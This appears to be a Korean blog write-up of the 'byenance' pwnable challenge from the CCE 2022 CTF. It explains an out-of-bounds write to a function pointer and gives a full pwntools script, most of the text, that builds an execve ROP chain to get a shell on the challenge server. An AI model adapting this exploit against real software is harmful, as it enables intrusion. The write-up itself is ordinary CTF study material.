CTF

[CCE2022] byenance Pwnable Write-Up

JUNFUTURE 2022. 9. 24. 22:26

https://www.cce.cstec.kr/

 

2022 사이버공격방어대회

디지털플랫폼 시대 사이버위협 대응을 위한 범국가적 사이버안보 역량을 점검하고, 미래 사이버보안 인재양성과 대국민 사이버보안 인식제고를 위해 2022 사이버공격방어대회를 개최합니다.

www.cce.cstec.kr

2022 cce의 byenance 문제이다.
바이낸스라는 가상 코인 거래소 프로그램을 해킹하는 재미있는 문제였다.

코인을 구매하거나 판매할 수 있는 기능이 있고
주문이 완료될때마다 해당 거래 내역을 기록해주는 기능이 있는 프로그램이었다.

BOF도 발생하지 않아 초기에 취약점을 찾는데에 시간이 조금 걸렸지만..
주문 횟수를 기록해주는 order_cnt 라는 변수가 있었고, 해당 변수를 이용해서 주문내역을 출력해주었다.

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  int v4; // ecx
  int v5; // er8
  int v6; // er9
  char select_menu; // [rsp+Fh] [rbp-411h]
  __int64 v9[130]; // [rsp+10h] [rbp-410h] BYREF

  v9[129] = __readfsqword(0x28u);
  memset(v9, 0, 1024);
  select_menu = 1;
  setvbuf(stdout, 0LL, 2LL, 0LL);
  setvbuf(stdin, 0LL, 2LL, 0LL);
  me = 0x6F6F776B756568LL;
  show = (__int64 (*)(void))show_wallet;        // 함수포인터 사용
  …
  while ( select_menu )
  {
    print_menu();
    fgets(v9, 1024LL, stdin);
    select_menu = atoi(v9);
    show();
    …
```


그런데 특정 order_cnt 횟수를 넘어가면 oob가 발생했고
이때 영역 너머의 함수포인터에 값을 쓸 수 있는 취약점이 존재했다.

 

이에 execve syscall (59) 를 이용하여 익스를 수행했다.

from pwn  import*

p = remote('43.200.136.128',6464)
#p = process('./byenance')

i = 0
pop_rax = 0x0000000000452907
pop_rdi = 0x0000000000402214
pop_rsi = 0x000000000040a76e
pop_pop_rdx = 0x0000000000485e9b

while  i < 18:
    p.sendlineafter('4. show orders','2')
    p.sendlineafter('how many eth do you want to sell?','2')
    #p.sendlineafter('how many eth do you want to buy?','2')
    i += 1

p.sendlineafter('4. show orders','3')
p.sendlineafter('set your leverage','99')

i = 0

while  i < 4:
        p.sendlineafter('4. show orders','2')
        #p.sendlineafter('how many eth do you want to buy?','2')
        p.sendlineafter('how many eth do you want to sell?','2')
    i += 1


p.sendlineafter('4. show orders','3')
p.sendlineafter('set your leverage','99')

p.sendlineafter('4. show orders','1')
#p.sendlineafter('how many eth do you want to buy?','2')
p.sendlineafter('how many eth do you want to buy?','4331268')

pause()

payload = p64(pop_rax)
payload += p64(0)

payload += p64(pop_rdi)
payload += p64(0)

payload += p64(pop_rsi)
payload += p64(0x4c4560)

payload += p64(pop_pop_rdx)
payload += p64(100)
payload += p64(100)

payload += p64(0x00000000004176E1)

payload += p64(pop_rax)
payload += p64(59)

payload += p64(pop_rdi)
payload += p64(0x4c4560)

payload += p64(pop_rsi)
payload += p64(0)

payload += p64(pop_pop_rdx)
payload += p64(0)
payload += p64(0)

payload += p64(0x0000000000402954)

p.sendlineafter('4. show orders',payload )

p.send('/bin/sh\x00')

p.interactive()

shout out to rojin